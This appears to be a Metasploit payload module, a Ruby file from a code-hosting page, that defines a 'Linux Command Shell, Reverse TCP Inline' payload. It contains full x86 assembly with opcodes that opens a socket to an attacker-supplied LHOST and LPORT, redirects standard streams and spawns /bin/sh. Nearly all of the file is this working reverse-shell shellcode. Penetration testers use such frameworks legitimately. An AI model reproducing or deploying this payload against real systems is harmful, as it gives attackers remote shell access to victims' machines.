97 lines
3.5 KiB
Ruby
97 lines
3.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'metasm'
|
|
require 'msf/core'
|
|
require 'msf/core/handler/reverse_tcp'
|
|
require 'msf/base/sessions/command_shell'
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
module Metasploit3
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Linux
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
|
|
# Remark: this function seems to be called a LOT, even before the shellcode is used.
|
|
# We would better implement some caching.
|
|
|
|
# We decoded skape's shellcode by using irb -r metasm-shell
|
|
# and: puts shellcode.decode
|
|
super(merge_info(info,
|
|
'Name' => 'Linux Command Shell, Reverse TCP Inline - Metasm Demo',
|
|
'Description' => 'Connect back to attacker and spawn a command shell',
|
|
'Author' => ['skape', 'Yoann Guillot', 'Julien Tinnes <julien[at]cr0.org>'],
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86,
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
'Session' => Msf::Sessions::CommandShellUnix,
|
|
'Payload' =>
|
|
{
|
|
'Offsets' =>
|
|
{
|
|
'LHOST' => [ 0, 'ADDR' ],
|
|
'LPORT' => [ 0, 'n' ],
|
|
},
|
|
'Assembly' => <<EOS
|
|
xor ebx, ebx ; @00000000 31db
|
|
push ebx ; @00000002 53
|
|
inc ebx ; @00000003 43
|
|
push ebx ; @00000004 53
|
|
push 2 ; @00000005 6a02
|
|
push 66h ; @00000007 6a66
|
|
pop eax ; @00000009 58
|
|
mov ecx, esp ; @0000000a 89e1
|
|
int 80h ; @0000000c cd80
|
|
xchg ebx, eax ; @0000000e 93
|
|
pop ecx ; @0000000f 59
|
|
|
|
; Xrefs: 0000000f, 00000015
|
|
xref_00000010_uuidfdbd8:
|
|
mov al, 3fh ; @00000010 b03f
|
|
int 80h ; @00000012 cd80
|
|
dec ecx ; @00000014 49
|
|
jns xref_00000010_uuidfdbd8 ; @00000015 79f9 -- to 10h
|
|
|
|
; Xrefs: 00000015
|
|
pop ebx ; @00000017 5b
|
|
pop edx ; @00000018 5a
|
|
push LHOST ; @00000019 687f000001
|
|
push.i16 LPORT ; @0000001e 6668bfbf
|
|
inc ebx ; @00000022 43
|
|
push bx ; @00000023 6653
|
|
mov ecx, esp ; @00000025 89e1
|
|
mov al, 66h ; @00000027 b066
|
|
push eax ; @00000029 50
|
|
push ecx ; @0000002a 51
|
|
push ebx ; @0000002b 53
|
|
mov ecx, esp ; @0000002c 89e1
|
|
inc ebx ; @0000002e 43
|
|
int 80h ; @0000002f cd80
|
|
push edx ; @00000031 52
|
|
push 68732f2fh ; @00000032 682f2f7368
|
|
push 6e69622fh ; @00000037 682f62696e
|
|
mov ebx, esp ; @0000003c 89e3
|
|
push edx ; @0000003e 52
|
|
push ebx ; @0000003f 53
|
|
mov ecx, esp ; @00000040 89e1
|
|
mov al, 0bh ; @00000042 b00b
|
|
int 80h ; @00000044 cd80
|
|
EOS
|
|
}
|
|
))
|
|
end
|
|
|
|
|
|
# hardcode the size of the encoded payload, otherwise the shellcode is assembled during msf initialization
|
|
def size
|
|
#puts "size of #{name}: #{super()}"
|
|
103
|
|
end
|
|
end
|